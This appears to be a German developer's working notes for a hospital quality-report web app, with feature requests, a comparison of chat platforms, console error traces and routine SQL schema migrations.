https://github.com/hbci4j/hbci4java/ -> Was sind hier Voraussetzungen? -> https://github.com/hbci4j/hbci4java/blob/master/src/main/java/org/kapott/hbci/examples/UmsatzAbrufPinTan.java Funktioniert mit Sparkasse
Mibew Messenger 3.1.0 -> Update sinnvoll/möglich?
Auslagern von JS o.ä. in Content-Delivery-Network (z.B. Cloudflare)
Diagramme z.B. mit http://tech.zooplus.com/api-documentation-as-code-with-swagger-asciidoc-cucumber-and-structurizr/
H01:
In der Maske Fachabteilungen wird mit blauem Hintergrund die Anzahl der Fachabteilungen dargestellt. Leider ist diese Darstellung etwas verwirrend.
Erster Satz „In der XML Datei QB2015 aufgeführte Fachabteilungen: 35“.
Da ich als Anwender gewöhnt bin bei der Auswahl meines Standortes, die Daten für diesen zu erhalten, möchte ich (so wie mir ja in dieser Maske auch die Abteilungen zu „diesem“ Standort angezeigt werden) auch in diesem Satz nicht die Anzahl aller Fachabteilungen aller Standorte, sondern wenn Standort A ausgewählt ist auch die Anzahl Fachabteilungen aus dem XML von Standort A erhalten. Dadurch kann ich sofort die in der Maske angezeigten Fachabteilungen mit der Anzahl der XML Datei vom Vorjahr vergleichen und muss nicht wenn eine fehlt erst mal alle Standorte durchklicken, sondern sehe sofort im Standort A fehlt einer.
Zweiter Satz „Aktuell aufgeführte Fachabteilungen: 19 (Fachabteilungen aller Standorte: 67)“
Fachabteilungen aller Standort sind und bleiben 35 und nicht 67. Ich habe meine Gesamtanzahl aller Fachabteilungen aller Standorte im Kopf und zähle nicht die doppelten erstellten Fachabteilungen der Gesamtberichte dazu. Da der Gesamtbericht ja nur eine Zusammenfassung meiner Standorte und Fachabteilungen ist und nicht einen eigenen Standort mit Fachabteilungen im realen Leben verkörpert.
Sinnvoll wäre hier bei Aufruf Standort A: Satzteil „Aktuell aufgeführte Fachabteilungen: 19“ sind die vom Standort A + Satzteil „Fachabteilung aller Einzelstandortberichte: 35“. + Satzteil „Fachabteilungen aller Gesamtberichte: 32“.
Bei zwei Gesamtberichte bekomme ich dann, wenn ich den Gesamtbericht 1 aufrufen im ersten Teil des Satzes wieder die enthaltenen Fachabteilungen des Gesamtberichtes 1 und beim Aufruf Gesamtbericht 2 die Anzahl der dort enthaltenen und kann dann damit leicht rechnen bzw.
vergleichen.
Wenn die Anzeige der Fachabteilung zur Information der Bezahlung dienen soll, sollte diese nur auf dem Formular der Beauftragung des Kaufes vorhanden sein. Als erste Information nach der Datenübernahme vom Vorjahr, ob ich alle Fachabteilungen habe ist es schon schick im Formular Fachabteilungen.
H02:
Einleitung Bild skalieren oder automatisch sizen: Problem: Lange Ladezeiten
Bild in der Einleitung automatisch verkleinern bzw. skaliert anzuzeigen(bewusst, dass es ein Base-64 String ist).
Bild wird schon skaliert dargestellt, aber jedes GET/PUT dauert sehr lange.
Es gibt die Möglichkeit das Bild vorm Abspeichern via canvas zu verkleinern. Machbarkeit prüfen, vorallem in Bezug auf IE9.
H03:
Inhaltlich nicht korrekt, können wir nicht machen
Die csv für den manuellen Import in B6/7/9 umfasst keine Informationen zu den Teilstationären Fällen. ICD werden nur vollstationäre berücksichtigt, OPS teil- und vollstationäre ohne AOP Fälle
Zitat OPS: Es werden nur die OPS-Ziffern der voll- und teilstationären Fälle berücksichtigt,
Zitat ICD: Es sind hier nur vollstationäre Fälle zu berücksichtigen.
-> wir können mit diesen minimalen CSV Dateien keine Rückschlüsse auf die Gesamtheit der Fälle treffen
In B6/7/9 sollte die Gesamtsumme der Fälle angezeigt werden, am besten pro FA und insgesamt. Praktisch wäre die Anzeige auch in A-10. Zumindest sollte ein Vermerk(Fallzahlen wurden geändert) eingeblendet werden und es eine Option geben die Fallzahlen berechnen zu lassen
H04:
https://docstore.mik.ua/orelly/java-ent/servlet/ch07_05.htm Sessions nutzen und in einer Liste sammeln? Nach 30 Minuten rauswerfen, sonst letzte Infos auslesen z.B. letzter Zugriff.
Besser LMM / Ignite Cache ... -> LMM müsste komplett überarbeitet werden, bei jedem Seitenaufruf und jedem Cache Aufruf den User im Cache in eine Map mit letzter Zugriffszeit packen sollte gehen.
Ja, LMM muss dann angepasst werden, der "Sync" erfolgt am besten per Javaskript und muss auch nicht unbedingt bei jedem Seitenaufruf erfolgen, sollte auf jeden Fall asynchron sein
Jeder Server kann seine eigene Map haben, dass muss ja nicht übergreifend sein, das kann man dann wieder zusammenfassen
Würde ich nicht so machen. Hab schon ne relativ genaue Vorstellung wie man das umsetzen könnte ohne dabei viele Daten vorhalten zu müssen.
Sollte dann diskutiert werden, hat aber aktuell noch keine Priorität
H06:
Rechnungen
Bezahlt:
ja/nein / Wann Time
Zugriff auf Rechnung Link
Rechnungsnummer String(6)
code_send boolean
order_stamp Time
code String
Online Nutzer
Id,
Name,
Mail,
Letzter Zugriff
Verwaltung / Übersicht
Orgid,
Standorte
Anzahl Standorte / Fachabteilungen?
Nutzer
Anzahl Nutzer / Verwalter
Übersicht Organisation
Alles
Flag für automatisch gebucht in Buchungen
Überweisungs-Protokolle
Letzte erfolgreiche Buchungen inklusive manueller Zuweisungen
Datum
Orgid
Betrag
Rechnungsnummer
Transferid und oder base id? nötig bei aufgeteilten überweisungen
Letzte Eingänge, alle Eingänge
Datum
* Orgid
Betrag
* Rechnungsnummer
base id
Problematische / Offene Fälle:
Datum
Betrag
Verwendungszweck
Kundenreferenz
====== Sezialfälle:
* A-1
** id_102: hospitalName aus DB
** id_1078, id_1977: IK aus DB
** id_1079, id_1987: CallNumber aus DB
* A-6
** id_607 falls spezieller Fall muss Zusatzangaben id_611 (id_612, id_613, id_614) erweitert werden
*** "NM14","NM15","NM17": "$value EUR pro Tag (max)"
*** "NM18":"$value EUR pro Tag (max) ins deutsche Festnetz\n" +
"$value2 EUR pro Minute ins deutsche Festnetz\n" +
"$value3 EUR bei eingehenden Anrufen"
*** "NM30":"$value EUR pro Stunde\n" +
"$value2 EUR pro Tag"
*** "NM66": Zusatzangabe in id_614
* A-13:
** id_1310 Umgangssprachliche Bezeichnung: passend zu Schlüssel in id_1305 aus DB
* B-1:
** id_10102: DepartmentName aus DB
** id_10104: DepartmentSchlüssel aus DB
** id_10153: DepartmentTyp aus DB & Constants
* B-6/7/9:
** id_10608, id_10708, id_10906: Leistungsdaten: Fallzahl < 4 ersetzen
* A-11, B-11
** Summe aus Fachabteilung und ohne Fachabteilung
* B-11
** Stationäre Versorgung und Belegärzte: Fälle je Vollkraft berechnen
* A-12
** id_122201: falls Lenkungsgremium wie Arbeitsgruppe Qualitätsmanagement ist, Daten für id_122202, id_122203 aus id_12110, id_12111 holen
** id_122321: "Ja" -> Daten aus RM01 übernehmen (suffix merken)
** id_1232410, id_1232411, id_1232420, id_1232421: Händedesinfektionsmittel
H05:
Rocket Chat
Pros:
- viele Addons
- OsTicket Integration https://rocket.chat/docs/administrator-guides/integrations/osticket/
- PushBenachrichtigung, Android, iOS App
- Bot Framework https://hubot.github.com/docs/scripting/
- Drupal 7/8
- qbm passender Livechat vorhanden, nur minimale Anpassungen nötig
Cons:
- Meteor -> MongoDB, Postgresql WIP(https://github.com/RocketChat/Rocket.Chat/issues/533) aber kein ETA, http://www.akitaonrails.com/2016/08/09/moving-away-from-slack-into-rocket-chat-good-enough
- Keine vernünftiges Dashboard https://cloud.githubusercontent.com/assets/850391/22792558/529d6c48-eed4-11e6-89ce-bef6ba2b913c.png, nur Ansammlung von Livechats
- Livechat ohne Login muss auch "manuell" durchgeführt werden https://github.com/RocketChat/Rocket.Chat/issues/4318 -> Aber es geht doch um desktop notifications, nicht push ...
- keine PushBenachrichtigung bei neuen Chats https://github.com/RocketChat/Rocket.Chat/issues/8624 ,
- grundsätzlich LiveChatverwaltung schlechter/unübersichtlicher als momentan
- Outgoing Chat Request WebHook - wandert von Milestone zu Milestone seit über einem Jahr https://github.com/RocketChat/Rocket.Chat/issues/7798 , momentan kein Workaround, aber brauchen wir das denn?
- Probleme bei der Darstellung/Integration von Medien(nur Agenten sehen Inhalte) https://github.com/RocketChat/Rocket.Chat/issues/6516
Matrix Protokoll
Pros:
- Sehr viele Server, CLients, SDK
- Server Empfehlung Synapse https://github.com/matrix-org/synapse
- PushBenachrichtigung, Android, iOS App
- SQLite Postgresql
- Offen
- Bot Support
- Kostenlos
- Je nach Client freies Design
- JS SDK https://github.com/matrix-org/matrix-js-sdk
- Drupal 8 module
Cons:
- die meisten Clients/Server sind in early alpha/alpha Status
- keine passende(simple) Implementierung für unseren qbm LiveChat, müssen wir selbst schreiben, API/SDK aber vorhanden
Übersicht Server/Clients/Bridges ... https://matrix.org/docs/projects/try-matrix-now.html#servers
Interessant HTML Live Blogging https://gitlab.com/argit/matrix-live
Beispiel Clients:
Riot https://github.com/vector-im/riot-web
Pros:
- alle üblichen Features: Apps, Notifications, FileUpload...
- Weit verbreitet und viel genutzt
- WOrkshop: https://gist.github.com/attacus/cb5c8a53380ca755b10a5b37a636a0b9
Cons:
- auf den ersten Blick keine passende(simple) Implementierung für unseren qbm LiveChat, müssen wir selbst schreiben, API/SDK aber vorhanden
- kein dashboard -> ChannelVerwaltung
Ticket und Support Plattform in einem Zammad
https://zammad.org/
Open source https://github.com/zammad/zammad-documentation/blob/master/install-source.rst
Fazit:
* - RocketChat:
*Gut geeignet als normale Chat-Plattform inklusive aller erdenklicher Funktionen. Für QBM momentan eher ungeeignet, viele kritische Funktionen(Notifcation new user, anständige History) fehlen, MongoDB, Probleme bei der Darstellung von Medien bei den Nutzern.
*Keine wirklichen Vorteile für QBM.
*- Matrix/Riot:
*Grundsätzllich alles möglich, aber keinerlei konkrete Funktionalität für qbm integriert. LiveChat muss erst geschrieben werden, History ebenso.
*
*Momentane Empfehlung für QBM : Mibew updaten und konkrete Probleme ausmerzen(Notifications, closed Chats)
*Weiteres wird noch ergänzt
*
jLWNvbXBsZXgtdHlwZS4yLjQuYTogVW5nw7xsdGlnZXIgQ29udGVudCB3dXJkZSBiZWdpbm5lbmQgbWl0IEVsZW1lbnQgJ0FrYWRlbWlzY2hlc19MZWhya3JhbmtlbmhhdXMnIGdlZnVuZGVuLiAne0tyYW5rZW5oYXVzX0FydCwgUHN5Y2hpYXRyaXNjaGVzX0tyYW5rZW5oYXVzLCBBbnphaGxfQmV0dGVufScgd2lyZCBlcndhcnRldC48L2xpPgo8bGk+OTk5NTU1MTExLTAxLTIwMTUteG1sLnhtbDogY3ZjLWNvbXBsZXgtdHlwZS4yLjQuYTogVW5nw7xsdGlnZXIgQ29udGVudCB3dXJkZSBiZWdpbm5lbmQgbWl0IEVsZW1lbnQgJ0FuemFobCcgZ2VmdW5kZW4uICd7SHlnaWVuZXBlcnNvbmFsZXJmYXNzdW5nfScgd2lyZCBlcndhcnRldC48L2xpPgo8bGk+OTk5NTU1MTExLTAxLTIwMTUteG1sLnhtbDogY3ZjLWNvbXBsZXgtdHlwZS4yLjQuYTogVW5nw7xsdGlnZXIgQ29udGVudCB3dXJkZSBiZWdpbm5lbmQgbWl0IEVsZW1lbnQgJ0FuemFobCcgZ2VmdW5kZW4uICd7SHlnaWVuZXBlcnNvbmFsZXJmYXNzdW5nfScgd2lyZCBlcndhcnRldC48L2xpPgo8bGk+OTk5NTU1MTExLTAxLTIwMTUteG1sLnhtbDogY3ZjLWNvbXBsZXgtdHlwZS4yLjQuYTogVW5nw7xsdGlnZXIgQ29udGVudCB3dXJkZSBiZWdpbm5lbmQgbWl0IEVsZW1lbnQgJ0FuemFobCcgZ2VmdW5kZW4uICd7SHlnaWVuZXBlcnNvbmFsZXJmYXNzdW5nfScgd2lyZCBlcndhcnRldC48L2xpPgo8bGk+OTk5NTU1MTExLTAxLTIwMTUteG1sLnhtbDogY3ZjLWVudW1lcmF0aW9uLXZhbGlkOiBXZXJ0ICdaUDEyJyBpc3QgbmljaHQgRmFjZXQtZ8O8bHRpZyBpbiBCZXp1ZyBhdWYgRW51bWVyYXRpb24gJ1tQUTAxLCBQUTAyLCBQUTA0LCBQUTA1LCBQUTA2LCBQUTA3LCBQUTA4LCBQUTA5LCBQUTEwLCBQUTExLCBQUTEyLCBQUTEzLCBQUTE0LCBQUTE1LCBQUTE2LCBQUTE3LCBQUTE4LCBQUTE5LCBQUTIwLCBQUTIxLCBaUDAxLCBaUDAyLCBaUDAzLCBaUDA0LCBaUDA1LCBaUDA2LCBaUDA3LCBaUDA4LCBaUDA5LCBaUDEzLCBaUDE0LCBaUDE1LCBaUDE2LCBaUDE4LCBaUDE5LCBaUDIwLCBaUDIyLCBaUDIzLCBaUDI0LCBaUDI1LCBaUDI2LCBaUDI3LCBaUDI4LCBaUDI5LCBaUDMwLCBaUDMxLCBaUDMyXScuIEVyIG11c3MgZWluIFdlcnQgYXVzIGRlciBFbnVtZXJhdGlvbiBzZWluLjwvbGk+CjxsaT45OTk1NTUxMTEtMDEtMjAxNS14bWwueG1sOiBjdmMtdHlwZS4zLjEuMzogV2VydCAnWlAxMicgZGVzIEVsZW1lbnRzICdQUV9aUF9TY2hsdWVzc2VsJyBpc3QgdW5nw7xsdGlnLjwvbGk+CjwvdWw+CjwvbGk+CjwvdWw+","processedFiles":[{"name":"999555111-01-2015-xml.xml","md5":"7546e4d3d1e01c0693957393edb1b5fe","detectedAs":"SqbABC2"}]}
app.min.js:13 Uncaught TypeError: Cannot read property 'options' of undefined
at Object.fix (app.min.js:13)
at HTMLUListElement.<anonymous> (app.min.js:13)
at HTMLUListElement.e.complete (eval at <anonymous> (jquery.js.xhtml?ln=primefaces&v=6.0:14), <anonymous>:25:72928)
at i (eval at <anonymous> (jquery.js.xhtml?ln=primefaces&v=6.0:14), <anonymous>:25:25791)
at Object.fireWith [as resolveWith] (eval at <anonymous> (jquery.js.xhtml?ln=primefaces&v=6.0:14), <anonymous>:25:26797)
at b7 (eval at <anonymous> (jquery.js.xhtml?ln=primefaces&v=6.0:14), <anonymous>:25:71342)
at bH.fx.tick (eval at <anonymous> (jquery.js.xhtml?ln=primefaces&v=6.0:14), <anonymous>:25:74860)
fix @ app.min.js:13
(anonymous) @ app.min.js:13
e.complete @ VM2059:25
i @ VM2059:25
fireWith @ VM2059:25
b7 @ VM2059:25
bH.fx.tick @ VM2059:25
setInterval (async)
bH.fx.start @ VM2059:25
bH.fx.timer @ VM2059:25
f @ VM2059:25
i @ VM2059:25
dequeue @ VM2059:25
(anonymous) @ VM2059:25
each @ VM2059:14
each @ VM2059:14
queue @ VM2059:25
animate @ VM2059:25
bH.fn.(anonymous function) @ VM2059:25
(anonymous) @ app.min.js:13
dispatch @ jquery.js.xhtml?ln=primefaces&v=6.0:25
cd.handle @ jquery.js.xhtml?ln=primefaces&v=6.0:25
12:12:00.945 VM2070:2151 Uncaught TypeError: $(...).modal is not a function
at createTableRow (eval at <anonymous> (eval at <anonymous> (jquery.js.xhtml?ln=primefaces&v=6.0:14)), <anonymous>:2151:21)
at HTMLElement.onclick (forms:1)
alter table filelog_warnings
drop constraint filelog_warnings_filelogid_fkey,
add constraint filelog_warnings_filelogid_jkey foreign key (filelogid)
references filelog(filelogid) on delete cascade;
insert into category values (1945, 1904, 'C-8', 'Umsetzung der Pflegepersonalregelung im Berichtsjahr', 14);
insert into valid_category values (1945, false, 14);
insert into category values (1920, 1902, 'A-14', 'Teilnahme am gestuften System der Notfallversorgung des G-BA gemäß § 136c Absatz 4 SGB V', 14);
insert into valid_category values (1920, false, 14);
alter table transfer add column is_manual boolean DEFAULT false;
alter table hospital add column location_number varchar;
--20.04.20
alter table rbacuser add column chat_delete boolean DEFAULT true;
alter table rbacuser add column ticket_delete boolean DEFAULT true;
insert into role values (6, 'Betrachter', 6);
create table formular_repair (jsondata text, hospitalid int, categoryid int, primary key (hospitalid, categoryid));
insert into formular_repair (select jsondata, hospitalid, categoryid from formular left join formular_json on guid = formular_guid where categoryid = 1918);
update hospital set stamp = 1496268000000 where stamp < 1496268000000 -- 01.06.2017
CREATE TABLE public.org_privacy
(
id serial primary key,
organizationid integer,
year_flag integer,
accepted bigint,
filename character varying,
rbacuserid integer,
active boolean DEFAULT false,
email character varying,
organization_name character varying,
first_name character varying,
last_name character varying,
filelog_id integer,
CONSTRAINT org_privacy_filelog_id_fkey FOREIGN KEY (filelog_id)
REFERENCES public.filelog (filelogid) MATCH SIMPLE
ON UPDATE NO ACTION ON DELETE NO ACTION,
CONSTRAINT org_privacy_organizationid_fkey FOREIGN KEY (organizationid)
REFERENCES public.organization (organizationid) MATCH SIMPLE
ON UPDATE NO ACTION ON DELETE NO ACTION,
CONSTRAINT org_privacy_rbacuserid_fkey FOREIGN KEY (rbacuserid)
REFERENCES public.rbacuser (rbacuserid) MATCH SIMPLE
ON UPDATE NO ACTION ON DELETE NO ACTION
);
alter table filelog add column organizationid int references organization;
alter table org_privacy add column users character varying;
-- Query for avv versioning
alter table org_privacy drop column filename;
alter table org_privacy add column version int;
CREATE TABLE public.priv_user_history
(
id serial primary key,
year_flag integer,
accepted bigint,
rbacuserid integer references rbacuser,
email character varying,
organization_name character varying,
first_name character varying,
last_name character varying,
old_users character varying,
new_users character varying,
organizationid integer references organization
);
-- 15.06.20
alter table invoice_info add column organizationid int references organization;
-- 19.06.20
-- invoice with parts
drop table invoice_info;
CREATE TABLE public.invoice_info
(
id serial primary key,
rechnung_nummer integer NOT NULL,
adress character varying, invoice_order character varying,
organizationid integer references organization,
qb_year integer,
rechnung_part integer,
value numeric,
active boolean default true
);
alter table organization add column storno varchar;
-- 23.06.20
alter table invoice_info add column is_storno boolean default false;
-- 13.07.20
alter table organization add column chat_delete boolean DEFAULT true;
alter table organization add column ticket_delete boolean DEFAULT true;
alter table rbacuser drop column ticket_delete;
alter table rbacuser drop column chat_delete;
Gugg im Wiki